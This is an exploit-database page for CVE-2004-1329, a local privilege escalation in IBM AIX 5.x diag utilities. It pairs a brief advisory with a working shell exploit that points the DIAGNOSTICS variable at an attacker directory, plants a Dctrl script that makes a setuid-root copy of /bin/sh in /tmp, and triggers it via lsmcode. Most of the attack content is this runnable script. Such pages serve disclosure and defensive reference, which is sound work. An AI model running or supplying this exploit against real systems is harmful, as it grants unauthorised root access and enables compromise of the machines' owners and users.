IBM AIX 5.x - 'Diag' Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
| CVE-2004-1329 | 6 Jan 200505:00 | – | cve | |
| CVE-2004-1329 | 6 Jan 200505:00 | – | cvelist | |
| Immunity Canvas: CVE_2004_1329 | 20 Dec 200405:00 | – | canvas | |
| EUVD-2004-1326 | 7 Oct 202500:30 | – | euvd | |
| CVE-2004-1329 | 20 Dec 200405:00 | – | nvd | |
| Authentication flaw | 31 Mar 200823:44 | – | prion |
source: https://www.securityfocus.com/bid/12041/info
diag is reported prone to a local privilege escalation vulnerability. This issue is due to a failure of certain diag applications to properly implement security controls when executing an application specified by the 'DIAGNOSTICS' environment variable.
A local attacker may leverage this issue to gain superuser privileges on a computer running the affected software.
mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shhData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Jan 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.03273